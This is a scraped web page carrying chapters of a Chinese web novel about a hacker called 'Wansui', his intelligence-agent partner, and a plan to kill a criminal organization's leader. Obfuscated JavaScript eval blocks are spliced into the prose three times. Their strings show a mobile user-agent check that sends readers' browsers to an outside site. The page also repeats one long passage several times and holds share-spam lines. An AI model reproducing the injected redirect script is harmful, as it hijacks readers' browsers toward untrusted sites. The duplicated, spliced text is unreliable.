两人走出包厢后,正好与那群从地上爬起来的保镖撞了个面对面。 那些人挡着路,似乎不打算放人。 时清徵没说话,眸色淡淡地回头看了一眼斯卡迪莱。 斯卡迪莱的话几乎是从牙缝中挤出来的:“让他们走。” 保镖们这才分开,让出中间的路,无心但很自然地站成了两排。 看着时清徵,只觉得身上还疼着。 时清徵看着在四楼的楼梯口探头探脑的靳云封,扬了下眉。 靳云封刚跟上来时就看见时清徵一个人单挑一群保镖,然后风轻云淡的把对方撂倒的画面。 忍不住狂吞口水。 本来打算再跟上去瞧瞧,但理智告诉他,还是快跑吧。 但是脚就跟生了根一样,一定要看个究竟。 就在他纠结的时候,时清徵已经走了出来。 靳云封对此毫无察觉,还在心里默念:跟上去,不跟上去,跟上去,不跟上去........ 然后忽然感觉自己眼前出现了一片阴影。 抬头...... “我草!” 吓得靳云封一激灵,下意识后退半步。 此时看见时清徵,跟看见鬼没什么两样了。 “你.....你你,你别过来啊,我,我....什么都没看见。” 说话都有些结巴了。 虽然时清徵就站在那什么都没干,可靳云封已经感觉浑身的骨头都开始疼了。 时清徵只是扫了他一眼,没说话,径直往楼下走去。 千千倒是偏过脑袋,很好奇地打量了一眼靳云封。 然后又收回视线,跟着时清徵离开了。 不知为什么,时清徵离开后靳云封反而松了一口气。 看着人的背影彻底消失,他才慢悠悠地回到三楼包厢。 包厢里,一群跟靳云封游手好闲的富二代们正玩得起劲。 有个人看靳云封一脸魂不守舍的模样,还开口问道:“靳二少这是怎么了,出去一趟被勾了魂?” 靳云封回神,朝说话那人啐了一口:“呸,是差点丢了命。” “啊,这地儿这么危险吗?” 靳云封捞了杯酒,一边摇头一边坐下。 早知道不听这群狐朋狗友的撺掇跑这来玩了。 第154章 要我写一篇读后感吗? 在自己场子里玩不好吗,结果图一乐跑到这地儿,碰到这事. 靳云封只觉得这个世界有些幻灭了。 他慢悠悠地喝着酒,第一次在这种场子里当一个安静人。 一边喝酒一边想。 时清徵这人的武力值高得有些过分吧? 这人 他现在感觉时清徵身上从头到脚透露出不一般来。 又想到时清徵最后看他的那一个眼神,不由打了个激灵。 忍不住扯了一下自己的头发,表情有些烦躁。 艹,他就一个不务正业的富二代,怎么让他碰到这种事啊。 时清徵带着千千一路无言地走出夜总会大门。 街边路灯昏黄,时清徵停下脚步,正准备抬手拦车,却感觉衣袖一紧。 千千紧贴在他身边,明明路很宽,却偏要挤在他半步之内。 时清徵不动声色往旁边挪了一下,侧目瞥他:“你干嘛?还有事? 千千立刻摆出一张可怜巴巴的脸,声音都拖长了调: “我怕那个**疯子报复我老大,你就行行好,收留我几天吧。 然后又蹭了过去,好像离开时清徵半米他就会被那个人弄死。 “想得美。 时清徵面无表情地又挪远了一步:“我没房子。 “我不信! “爱信不信。 千千:“老大,你就忍心看我一个人在这京城孤苦伶仃地漂泊吗? “我 千千还想继续卖惨,但是出租车已经来了。 时清徵直接招手,扭头回了句:“忍心。 “你要是怕死就赶紧跑路,我可没时间天天救你。 说着就坐进车里离开了。 千千:“. 看着身后的夜总会,咽了口唾沫,然后也离开了。 惹不起还躲不起吗? 自己好歹是个黑客,让斯卡迪莱找不到自己的方法还是有的。 这么想着,千千的脚步都轻快了不少。 ———— 顾鸣鹤去海市出差一周,回来时手头积压的工作已处理得七七 听说看这本书的人都是很幸运的,分享后你的运气会更棒 八八,不像先前那一阵子忙了。 他是下午落的飞机,也就直接回了家。 两天前他就收到了林霄汉发来的消息,不过对方语气寻常,也没催促,他便只当是些普通资料,没也太着急。 顾鸣鹤一边拉着时清徵絮絮叨叨地说着这几日的离别之苦,一边悄咪咪地借着由头占尽了便宜。 他嘴上说着:“这几天都没睡好。 “那地方的饭菜干净,漂亮,精致,难吃。 手臂一边却自然而然地环过时清徵的腰,把人往自己怀里带。 一会儿又低头蹭蹭对方的颈窝,美其名曰充电,实则指尖早已悄悄滑进对方外套与衬衫之间。 用温热的掌心贴着对方的脊背,一寸也不舍得松开。 时清徵由着他动作,只微微挑了下眉,似笑非笑: “说完了没? 顾鸣鹤立刻抬起头,眼神诚恳,手上却一点没松: “没有,委屈还没诉完。 顾鸣鹤眼瞅着就快把人拐上楼了,谁知这时门铃响了。 顾鸣鹤:“谁啊? 大晚上的。 他恋恋不舍地撒开抱住时清徵的手,一边不情愿地往门口走去。 门被打开。 顾鸣鹤抬眼一怔,语气里带了些意外:“林叔?您怎么来了? 林霄汉站在门外,神色如常,手中拿着一份文件袋:“过来送点东西。你这边有事? 顾鸣侧侧身让出通道,嘴上应着:“应该.没吧? 他侧身将人请进屋内。 林霄汉刚迈进客厅,目光便落向桌旁。 时清徵正站在那儿安静地喝水。 见有人进来,他缓缓放下水杯,神色平静地看了过来。 不认识的人。 时清徵只是微微点了下头,就打算转身离开,回避片刻。 谁料对方却先开口叫住了他。 “你就是清徵吧? 对方一看就是长辈,时清徵自然不能落了他面子,于是点头:“是的。 顾鸣鹤在一旁插嘴提醒道:“这是林叔。 时清徵从善如流,顺着顾鸣鹤的话叫了句:“ 你的朋友正在书荒,快去帮帮他吧 林叔。” 林霄汉点头应着,语气温和: “早就听鸣鹤提起过你,今日一见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335241|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就觉得鸣鹤果然没有看走眼。” 顾鸣鹤一听这话就忍不住瞎显摆了:“那是,我眼光什么时候差过。” 时清徵唇边带着浅笑,客气了一句:“您过奖了。” 林霄汉:“说起来拉尔斯那事还得感谢你,你也算帮了我们的忙。” 没想到林霄汉会自己暴露身份的顾鸣鹤不由看了眼他。 局长,你这也太过坦诚了。 这一操作让顾鸣鹤都有些愣神。 就连时清徵眼中也闪过诧异。 他方才只当对方是顾鸣鹤的某个普通长辈,原来这个林叔也是第七局的。 顾鸣鹤的上司吗? 时清徵只是垂了下眸,轻笑:“我做的这些不算什么。” “既然你们有事,那就先聊。” 转而对顾鸣鹤道:“我先上去了。” 说完就离开了。 顾鸣鹤与林霄汉到了书房。 “林叔,你先前给我发的消息我看了,是什么资料还值得你亲自走一趟?” “还是大晚上的来” 这句话是顾鸣鹤自顾自的嘟囔。 林霄汉:“你说呢?” “我跟您心无灵犀,百点不通,可猜不透您老人家的心思。” 顾鸣鹤确实有些疑惑,因为这份消息如果很重要的话林霄汉不会这么不慌不忙。 但是如果这份消息不重要的话林霄汉应该也不会亲自跑一趟。 林霄汉看了他一眼:“有时候觉得你是在装蠢,有时候又觉得你是真蠢。” 顾鸣鹤:“.” 有必要人身攻击吗? 林霄汉把手中拿着的文件袋往顾鸣鹤桌子上一丢。 扬了扬下巴:“自己看看。” 顾鸣鹤有些狐疑地打开文件袋,取出里面的资料。 一页页的,每一面都看全。 然后又不可置信地从头到尾看了一遍。 然后又又又打算看第三遍。 整个书房充斥着翻页的声音,有点安静地吓人。 最终在林霄汉的注视下,顾鸣鹤面无表情地放下资料。 至少表面上看起来十分淡定。 “您让我看这个做什么?” 林霄汉:“你说呢?” 顾鸣鹤:“.要我写一篇读后感吗?” 第155章 直到完成 林霄汉沉默地注视着顾鸣鹤,目光在他脸上来回扫了几遍,像是要从那过分平静的表情里挖出点什么。 这人的反应太平淡了。 “就这样?”他声音压低了几分,带着一丝不易察觉的审视。 顾鸣鹤唇线微微抿紧,低声应道:“嗯。” 林霄汉忽然极轻地笑了一下。 “呵。” “你早就知道了?” 顾鸣鹤很实诚地摇头:“刚知道,以前知道一点,但没猜到他居然是万岁。” “你好像一点都不惊讶。” 顾鸣鹤:“**以为常了” 但他家时小徵的牛逼还是超出了他的预料。 他原本猜过时清徵可能是暗网**榜上的哪一位,不过没往万岁身上猜。 因为对方成名的时间是五年前,那时候时清徵才几岁啊。 顾鸣鹤想着,忍不住捏住资料的一角,毫无意识的揉搓着。 把那一角的纸的皱皱巴巴。 林霄汉皱眉:“你别霍霍我的资料,就这一份儿。” “你不是把这资料给我了吗?已经是我的了。” 林霄汉:“这次来除了给你送资料,还有是提醒你几句” 说到这儿他停顿了一下,看了一眼顾鸣鹤的表情。 “不过我觉得我的提醒应该是多余的,你看起来接受良好。” “他也确实如你所说,倒是我多虑了。” 顾鸣鹤对这句话倒是很认同。 林霄看着顾鸣鹤这样子,忍不住摇头:“我还是很好奇,怎么就这么巧。” “你说他你.哎。” 林霄汉发出了老父亲一般的叹息。 顾鸣鹤虽然面上没有什么神色,却莫名的感觉他有些喜滋滋:“也许这就是缘分吧,天注定的。” “算了,既然你接受良好,我也不多说什么。” “对方.你要看好他,劝劝他,这里是京城,要是你们吵架了,记得别冲动。” 林霄汉一句一句的说着,带着些无奈。 顾鸣鹤:“我家时小徵不用我看,他自己就很乖。” 林霄汉:“你看着那份通缉令再说一遍。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 顾鸣鹤:“更乖了。” 他翻到最后一张,看着上面的照片。 这就是以前的时小徵吗?看起来比现在还要小几岁。 十五六岁的样子,看起来拽拽的。 真可爱。 “咳咳!” 林霄汉掩唇咳嗽,顾鸣鹤这才回神。 “林叔,你还在呢?” 林霄汉:这孩子在说什么鬼话? 但他还是皮笑肉不笑道:“当然在,我还有正事跟你说。” 顾鸣鹤正了正神色,把那份资料重新放回桌上,看向林霄汉。 “跟这份通缉令有关?” 林霄汉:“有些关系,但关系不大。” 林霄汉语气沉了下来,目光仍锁定在顾鸣鹤脸上: “前些日子,M国中情局遭黑客组织入侵,系统一度瘫痪。有人趁乱从里面传出一批情报。” 他稍作停顿,像是要刻意强调接下来的内容。 “是关于赤洲那个幽灵组织的。” “另外,拉尔斯已经松口了,他们集团在先前的确与幽灵组织有很深的渊源。 不管是之前的顾砚川,还是江晓崖,他们多多少少都和那个组织有牵扯,是为那个组织办事的。” “从某种程度上说,幽灵组织是这一切的幕后推手。就连拉尔斯集团向A国渗透的路线,背后也有他们的布局。” “拉尔斯只能算他们摆在明面上的盟友,主要负责部分东南群岛到东洲一带的生意。” 这么多年来,幽灵组织通过东南群岛至东洲的这条路线不知做了多少**人怨的事。 在FK来之前,几乎东南群岛先前很多叫的上名字的势力都在给幽灵组织打工。 幽灵组织要什么,他们就从A国这边偷什么。 从人,到**机密。 幽灵组织给什么,他们就买什么。 从**,到**等。 在东南群岛构建起一个规模完善的犯罪产业链。 直到FK到东南群岛扎根,根本不吃幽灵组织这套,还将幽灵组织的其他几个拥护者收拾了一顿。 幽灵组织的影响力在东南群岛那一块儿才逐渐被取代。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 自拉尔斯倒台拉尔斯集团被瓜分幽灵组织在东南群岛的这条线算是断干净了。 顾鸣鹤:“幽灵组织没想到这一个组织居然有这么大的影响力。” 他的手指不由攥紧。 时小徵不就是从这个组织手下的人体实验中逃出来的吗? 当年幽灵组织组建大规模的人体实验需要大量人来作为样本。 人不够那就从世界各地买。 幽灵组织要买东南群岛的那些势力自然不会错过这些发财的机会。 从自己的地盘上抓小孩年轻人都不放过。 “是啊谁能想到一个犯罪组织能做到这一种地步呢?” 林霄汉感慨了一句。 “以前我也不明白但是现在我反而想通了。” 他点了点桌面:“M国这次放出通缉令就是受幽灵组织的委托。” 顾鸣鹤呼吸一滞良久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335242|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后才道:“难怪。” 一个犯罪组织居然能和官方有交易难怪能横行霸道这么多年而不被国际盯上。 “我这次来是希望委托你执行一项任务除掉幽灵组织目前的最高首领。” 林霄汉语气沉冷目光肃然: “这个人执掌幽灵组织多年经由他亲自签署的命令已经对A国造成了无法估量的伤害。 在我国境内策划多起****输入和**渗透造成了不可估量的损失。” “第七局绝不会容忍一个曾在A国策划**的敌人。” 顾鸣鹤抬眼看向他语气平静:“只是杀了他?那么大一个组织框架不是能杀一两个领导者就可以瓦解的。” 林霄汉点头:“没错但此人在组织内部的威信很高除了他我们才方便从外部下手。” 如果要除掉整个幽灵组织自然不是杀一两个人就能解决的。 这需要更强大的势力介入. 而这些顾鸣鹤不需要管他只负责执行前期任务。 顾鸣鹤:“那这好办您派几个行动组一起出任务到时候他插了翅膀也飞不了。” 闻言林霄汉拒绝了:“这次的任务并不简单 你的朋友正在书荒,快去帮帮他吧 “更何况,我们对那个地方并不熟悉,尤其是幽灵组织,我们也是近些年才开始着手调查。” 顾鸣鹤:“所以这个任务只有我们第一行动组执行?” “对。” 顾鸣鹤气笑了:“您还对,这是坑我呢?” 对上这么大一个组织,注定是长期任务,这是拉锯战啊。 还就派一个行动组。 “而且国外任务,派给第三行动组不是更专业对口?” 林霄汉对此表示认同,但是补充了一点: “你说的不错,但是时清徵,也就是万岁,他掌握着这个组织某些关键信息。” 顾鸣鹤瞬间明白了对方的意图:“您是想让我利用他?” “利用?别说的这么难听。我们的目标是一致的,只是希望能合作而已。” 这些年来,万岁没少给幽灵组织制造麻烦,双方早已结下死仇。 更何况幽灵组织这次让M国把万岁的通缉令挂了上去。 要是这事真成,时清徵可就被国际通缉了。 那可真是不死不休。 敌人的敌人,往往可以成为盟友。 林霄汉微微一顿,若有所指地补充道:“更何况,你不是还占着身份优势?” 如果是顾鸣鹤,林霄汉觉得时清徵答应合作的可能性很大。 顾鸣鹤沉默片刻,最终开口:“这个任务的期限是?” “一年内没有期限,直到完成。” “是。” 第156章 可我什么都想给你 顾鸣鹤送走林霄汉后,轻轻推开卧室的门。 时清徵正靠坐在床头,手里拿着一本书,神情专注。 “时小徵。” 顾鸣鹤低声唤了一句,挨着他身边坐下,却没有再说话,只是安静地陪在一旁。 时清徵起初并未抬头,又翻过几页之后,才隐约察觉到身边人情绪有些不对。 他合上书,抬眼看向顾鸣鹤:“你怎么了?被骂了?” 顾鸣鹤没说话,只是顺势靠过去,一把将人搂进怀里,轻轻叹了口气。 时清徵抬手揉了揉他的后颈,声音放缓:“真被骂了?” 他指尖温温的,语气里带了几分调侃:“没事,我帮你套个麻袋打他一顿,怎么样?” 明知他是在开玩笑,顾鸣鹤却还是把头埋在他肩窝,低低应了一声: “好。” 顾鸣鹤还在想着幽灵组织那件事,一时不知道怎么开口,正犹豫着。 时清徵很敏锐的察觉到了他的异常。 “到底怎么回事,说话?” 顾鸣鹤将头埋在他的颈窝,轻轻蹭了蹭。 “我不知道怎么说.你先让我抱一会儿。” 他的手臂环的紧,将时清徵整个人都圈在怀里。 然后一边抱着一边借着身体的力道将人往床上压去,把时清徵带倒在被褥间。 自己则是半覆在他的身上,没舍得全压住。 低头蹭着时清徵的肩颈,温热的气息洒过,弄得时清徵都轻哼了下。 顾鸣鹤抱着人,手不停地挪动位置,蹭着。 时清徵都被他摸得有些痒了,轻笑一声,抬起手抵住顾鸣鹤的下颌。 推远了些。 “你再不说,我就不给你抱了。” 顾鸣鹤不情愿地撇了下嘴,抓住时清徵那根作乱的手指,放在唇边轻轻吻了下。 这才抬起头。 灯光明亮,落在这人身上却有些温柔。 “林叔给我派了个任务。” “很难吗?” 顾鸣鹤:“他让我杀了幽灵组织的首领。” 时清徵:“.那的确是挺难的。” “他说你也 许知道关于这个人的信息,所以.” 时清徵不乐意了:“所以你扭捏半天原来是在扭捏这个?” 顾鸣鹤:“.嗯。” 时清徵把人推开,坐了起来:“我确实知道有关那个人的消息,不过林叔是怎么知道的?” 顾鸣鹤:“因为3S通缉令。” 时清徵: 他几乎是瞬间反应过来那份3s通缉令指的是什么。 M国那边情报泄露了。 时清徵全都明白了,他默默在心里骂了句。 中情局那群**,真不靠谱。 “你看到我的通缉令了?”时清徵看着顾鸣鹤。 顾鸣鹤点头:“.对。” 时清徵只是默了两秒,然后对,又掉马甲的事情接受良好。 “顾鸣鹤?” “嗯。” “我牛逼吗?” 顾鸣鹤沉默了,但他还是点头,实话实说:“.牛逼。” 时清徵:“怎么,你们第七局也盯上那个人了?” 顾鸣鹤:“幽灵组织这些年在A国境内犯下的罪行早就超出了底线,不除对不起这些年的牺牲。” 时清徵道:“我确实掌握了一些他的资料,不过这个人近两年出现的频率很低,上一次还是今年三月份的时候。” “可能跟他先前差点栽了一次有关。” 顾鸣鹤福至心灵:“因为你?” 时清徵微微颔首,语气带着些遗憾: “嗯。有一次,我临时截获了他的行踪消息当时太冲动,没多想就直接去了。” 他语气平静,却带着几分自嘲,“结果那是他早就为我准备好的陷阱。” “现在回想起来,确实有点蠢。” 他指尖的捻住顾鸣鹤的衣角,继续道:“察觉到不对之后,我立刻撤了。” “但跑到一半,实在气不过,又折返回去.” “隔着一段距离补了一枪。没打死,只打穿了他的左肩。” “可惜我自己也没落着什么好,丢了半条命,才勉强逃出来。” 提及当年的鲁莽,时清徵轻轻摇头,语气里带着几分时过境迁的无奈。 那时的他根 本顾不得什么全身而退,满心只想抓住那难得的机会。 可惜最后还是没能如愿,反而让这人越发谨慎了起来。 顾鸣鹤喉咙有些发紧,一时间不知道说什么好。 只是反握住时清徵的手腕,轻轻捏着。 “丢了半条命” 这五个字落在耳中,就像是被刀划过,一阵钝痛。 时清徵只一瞬就知道顾鸣鹤在想什么。 “其实也没那么夸张。躺了几个月,没伤到要害。” 他稍作停顿,眼底掠过一丝极淡的遗憾。 “当时太冲动,还是差了点要是当时瞄得再准一些,后来也不会有那么多麻烦。” 连他自己也说不清,那究竟算不算是恨。 过往的痛楚他从未忘记,却也不至于被其吞噬。 只是年复一年,对幽灵组织终究是生出了几分执念。 他也知道,仅凭一人之力想要扳倒整个幽灵组织,几乎是不可能的。 一个人再强,力量终归是有限的。即便真的做到了,自己也必将付出难以承受的代价。 更何况如今他已摸清这个组织的底细,背后竟还有M国官方的影子。 这就更不值得他赌上一切去硬碰硬。 所以这些年,他退了一步。 不能毁掉整个组织,那就逐个清除当年参与那件事的高层。 林林总总,也算完成得差不多了。 唯独那个幽灵组织的首领。 的确难搞。 时清徵想了下,就着这个姿势靠在顾鸣鹤身上。 “等我们哪天准备好了抽空一起去把他弄死。” 说着,又抬起头朝顾鸣鹤眨眼笑:“到时候算你的。” 顾鸣鹤闻言愣了一下:“宝贝.为什么?” 时清徵看着顾鸣鹤,眉梢轻挑:“哪有这么多为什么。” 顾鸣鹤不知道自己现在的心情怎么形容,明明是甜的,但是细品却有些酸涩。 时清徵:“等过完年吧,我在整理一下情报,不会很难的。” “时小徵,其实该多做一些的人是我。” 时清徵摇头:“可我想给你的,比你想的要更多。” 本顾不得什么全身而退,满心只想抓住那难得的机会。 可惜最后还是没能如愿,反而让这人越发谨慎了起来。 顾鸣鹤喉咙有些发紧,一时间不知道说什么好。 只是反握住时清徵的手腕,轻轻捏着。 “丢了半条命” 这五个字落在耳中,就像是被刀划过,一阵钝痛。 时清徵只一瞬就知道顾鸣鹤在想什么。 “其实也没那么夸张。躺了几个月,没伤到要害。” 他稍作停顿,眼底掠过一丝极淡的遗憾。 “当时太冲动,还是差了点要是当时瞄得再准一些,后来也不会有那么多麻烦。” 连他自己也说不清,那究竟算不算是恨。 过往的痛楚他从未忘记,却也不至于被其吞噬。 只是年复一年,对幽灵组织终究是生出了几分执念。 他也知道,仅凭一人之力想要扳倒整个幽灵组织,几乎是不可能的。 一个人再强,力量终归是有限的。即便真的做到了,自己也必将付出难以承受的代价。 更何况如今他已摸清这个组织的底细,背后竟还有M国官方的影子。 这就更不值得他赌上一切去硬碰硬。 所以这些年,他退了一步。 不能毁掉整个组织,那就逐个清除当年参与那件事的高层。 林林总总,也算完成得差不多了。 唯独那个幽灵组织的首领。 的确难搞。 时清徵想了下,就着这个姿势靠在顾鸣鹤身上。 “等我们哪天准备好了抽空一起去把他弄死。” 说着,又抬起头朝顾鸣鹤眨眼笑:“到时候算你的。” 顾鸣鹤闻言愣了一下:“宝贝.为什么?” 时清徵看着顾鸣鹤,眉梢轻挑:“哪有这么多为什么。” 顾鸣鹤不知道自己现在的心情怎么形容,明明是甜的,但是细品却有些酸涩。 时清徵:“等过完年吧,我在整理一下情报,不会很难的。” “时小徵,其实该多做一些的人是我。” 时清徵摇头:“可我想给你的,比你想的要更多。” 本顾不得什么全身而退,满心只想抓住那难得的机会。 可惜最后还是没能如愿,反而让这人越发谨慎了起来。 顾鸣鹤喉咙有些发紧,一时间不知道说什么好。 只是反握住时清徵的手腕,轻轻捏着。 “丢了半条命” 这五个字落在耳中,就像是被刀划过,一阵钝痛。 时清徵只一瞬就知道顾鸣鹤在想什么。 “其实也没那么夸张。躺了几个月,没伤到要害。” 他稍作停顿,眼底掠过一丝极淡的遗憾。 “当时太冲动,还是差了点要是当时瞄得再准一些,后来也不会有那么多麻烦。” 连他自己也说不清,那究竟算不算是恨。 过往的痛楚他从未忘记,却也不至于被其吞噬。 只是年复一年,对幽灵组织终究是生出了几分执念。 他也知道,仅凭一人之力想要扳倒整个幽灵组织,几乎是不可能的。 一个人再强,力量终归是有限的。即便真的做到了,自己也必将付出难以承受的代价。 更何况如今他已摸清这个组织的底细,背后竟还有M国官方的影子。 这就更不值得他赌上一切去硬碰硬。 所以这些年,他退了一步。 不能毁掉整个组织,那就逐个清除当年参与那件事的高层。 林林总总,也算完成得差不多了。 唯独那个幽灵组织的首领。 的确难搞。 时清徵想了下,就着这个姿势靠在顾鸣鹤身上。 “等我们哪天准备好了抽空一起去把他弄死。” 说着,又抬起头朝顾鸣鹤眨眼笑:“到时候算你的。” 顾鸣鹤闻言愣了一下:“宝贝.为什么?” 时清徵看着顾鸣鹤,眉梢轻挑:“哪有这么多为什么。” 顾鸣鹤不知道自己现在的心情怎么形容,明明是甜的,但是细品却有些酸涩。 时清徵:“等过完年吧,我在整理一下情报,不会很难的。” “时小徵,其实该多做一些的人是我。” 时清徵摇头:“可我想给你的,比你想的要更多。” 本顾不得什么全身而退,满心只想抓住那难得的机会。 可惜最后还是没能如愿,反而让这人越发谨慎了起来。 顾鸣鹤喉咙有些发紧,一时间不知道说什么好。 只是反握住时清徵的手腕,轻轻捏着。 “丢了半条命” 这五个字落在耳中,就像是被刀划过,一阵钝痛。 时清徵只一瞬就知道顾鸣鹤在想什么。 “其实也没那么夸张。躺了几个月,没伤到要害。” 他稍作停顿,眼底掠过一丝极淡的遗憾。 “当时太冲动,还是差了点要是当时瞄得再准一些,后来也不会有那么多麻烦。” 连他自己也说不清,那究竟算不算是恨。 过往的痛楚他从未忘记,却也不至于被其吞噬。 只是年复一年,对幽灵组织终究是生出了几分执念。 他也知道,仅凭一人之力想要扳倒整个幽灵组织,几乎是不可能的。 一个人再强,力量终归是有限的。即便真的做到了,自己也必将付出难以承受的代价。 更何况如今他已摸清这个组织的底细,背后竟还有M国官方的影子。 这就更不值得他赌上一切去硬碰硬。 所以这些年,他退了一步。 不能毁掉整个组织,那就逐个清除当年参与那件事的高层。 林林总总,也算完成得差不多了。 唯独那个幽灵组织的首领。 的确难搞。 时清徵想了下,就着这个姿势靠在顾鸣鹤身上。 “等我们哪天准备好了抽空一起去把他弄死。” 说着,又抬起头朝顾鸣鹤眨眼笑:“到时候算你的。” 顾鸣鹤闻言愣了一下:“宝贝.为什么?” 时清徵看着顾鸣鹤,眉梢轻挑:“哪有这么多为什么。” 顾鸣鹤不知道自己现在的心情怎么形容,明明是甜的,但是细品却有些酸涩。 时清徵:“等过完年吧,我在整理一下情报,不会很难的。” “时小徵,其实该多做一些的人是我。” 时清徵摇头:“可我想给你的,比你想的要更多。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335243|183125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 本顾不得什么全身而退,满心只想抓住那难得的机会。 可惜最后还是没能如愿,反而让这人越发谨慎了起来。 顾鸣鹤喉咙有些发紧,一时间不知道说什么好。 只是反握住时清徵的手腕,轻轻捏着。 “丢了半条命” 这五个字落在耳中,就像是被刀划过,一阵钝痛。 时清徵只一瞬就知道顾鸣鹤在想什么。 “其实也没那么夸张。躺了几个月,没伤到要害。” 他稍作停顿,眼底掠过一丝极淡的遗憾。 “当时太冲动,还是差了点要是当时瞄得再准一些,后来也不会有那么多麻烦。” 连他自己也说不清,那究竟算不算是恨。 过往的痛楚他从未忘记,却也不至于被其吞噬。 只是年复一年,对幽灵组织终究是生出了几分执念。 他也知道,仅凭一人之力想要扳倒整个幽灵组织,几乎是不可能的。 一个人再强,力量终归是有限的。即便真的做到了,自己也必将付出难以承受的代价。 更何况如今他已摸清这个组织的底细,背后竟还有M国官方的影子。 这就更不值得他赌上一切去硬碰硬。 所以这些年,他退了一步。 不能毁掉整个组织,那就逐个清除当年参与那件事的高层。 林林总总,也算完成得差不多了。 唯独那个幽灵组织的首领。 的确难搞。 时清徵想了下,就着这个姿势靠在顾鸣鹤身上。 “等我们哪天准备好了抽空一起去把他弄死。” 说着,又抬起头朝顾鸣鹤眨眼笑:“到时候算你的。” 顾鸣鹤闻言愣了一下:“宝贝.为什么?” 时清徵看着顾鸣鹤,眉梢轻挑:“哪有这么多为什么。” 顾鸣鹤不知道自己现在的心情怎么形容,明明是甜的,但是细品却有些酸涩。 时清徵:“等过完年吧,我在整理一下情报,不会很难的。” “时小徵,其实该多做一些的人是我。” 时清徵摇头:“可我想给你的,比你想的要更多。” 本顾不得什么全身而退,满心只想抓住那难得的机会。 可惜最后还是没能如愿,反而让这人越发谨慎了起来。 顾鸣鹤喉咙有些发紧,一时间不知道说什么好。 只是反握住时清徵的手腕,轻轻捏着。 “丢了半条命” 这五个字落在耳中,就像是被刀划过,一阵钝痛。 时清徵只一瞬就知道顾鸣鹤在想什么。 “其实也没那么夸张。躺了几个月,没伤到要害。” 他稍作停顿,眼底掠过一丝极淡的遗憾。 “当时太冲动,还是差了点要是当时瞄得再准一些,后来也不会有那么多麻烦。” 连他自己也说不清,那究竟算不算是恨。 过往的痛楚他从未忘记,却也不至于被其吞噬。 只是年复一年,对幽灵组织终究是生出了几分执念。 他也知道,仅凭一人之力想要扳倒整个幽灵组织,几乎是不可能的。 一个人再强,力量终归是有限的。即便真的做到了,自己也必将付出难以承受的代价。 更何况如今他已摸清这个组织的底细,背后竟还有M国官方的影子。 这就更不值得他赌上一切去硬碰硬。 所以这些年,他退了一步。 不能毁掉整个组织,那就逐个清除当年参与那件事的高层。 林林总总,也算完成得差不多了。 唯独那个幽灵组织的首领。 的确难搞。 时清徵想了下,就着这个姿势靠在顾鸣鹤身上。 “等我们哪天准备好了抽空一起去把他弄死。” 说着,又抬起头朝顾鸣鹤眨眼笑:“到时候算你的。” 顾鸣鹤闻言愣了一下:“宝贝.为什么?” 时清徵看着顾鸣鹤,眉梢轻挑:“哪有这么多为什么。” 顾鸣鹤不知道自己现在的心情怎么形容,明明是甜的,但是细品却有些酸涩。 时清徵:“等过完年吧,我在整理一下情报,不会很难的。” “时小徵,其实该多做一些的人是我。” 时清徵摇头:“可我想给你的,比你想的要更多。” 本顾不得什么全身而退,满心只想抓住那难得的机会。 可惜最后还是没能如愿,反而让这人越发谨慎了起来。 顾鸣鹤喉咙有些发紧,一时间不知道说什么好。 只是反握住时清徵的手腕,轻轻捏着。 “丢了半条命” 这五个字落在耳中,就像是被刀划过,一阵钝痛。 时清徵只一瞬就知道顾鸣鹤在想什么。 “其实也没那么夸张。躺了几个月,没伤到要害。” 他稍作停顿,眼底掠过一丝极淡的遗憾。 “当时太冲动,还是差了点要是当时瞄得再准一些,后来也不会有那么多麻烦。” 连他自己也说不清,那究竟算不算是恨。 过往的痛楚他从未忘记,却也不至于被其吞噬。 只是年复一年,对幽灵组织终究是生出了几分执念。 他也知道,仅凭一人之力想要扳倒整个幽灵组织,几乎是不可能的。 一个人再强,力量终归是有限的。即便真的做到了,自己也必将付出难以承受的代价。 更何况如今他已摸清这个组织的底细,背后竟还有M国官方的影子。 这就更不值得他赌上一切去硬碰硬。 所以这些年,他退了一步。 不能毁掉整个组织,那就逐个清除当年参与那件事的高层。 林林总总,也算完成得差不多了。 唯独那个幽灵组织的首领。 的确难搞。 时清徵想了下,就着这个姿势靠在顾鸣鹤身上。 “等我们哪天准备好了抽空一起去把他弄死。” 说着,又抬起头朝顾鸣鹤眨眼笑:“到时候算你的。” 顾鸣鹤闻言愣了一下:“宝贝.为什么?” 时清徵看着顾鸣鹤,眉梢轻挑:“哪有这么多为什么。” 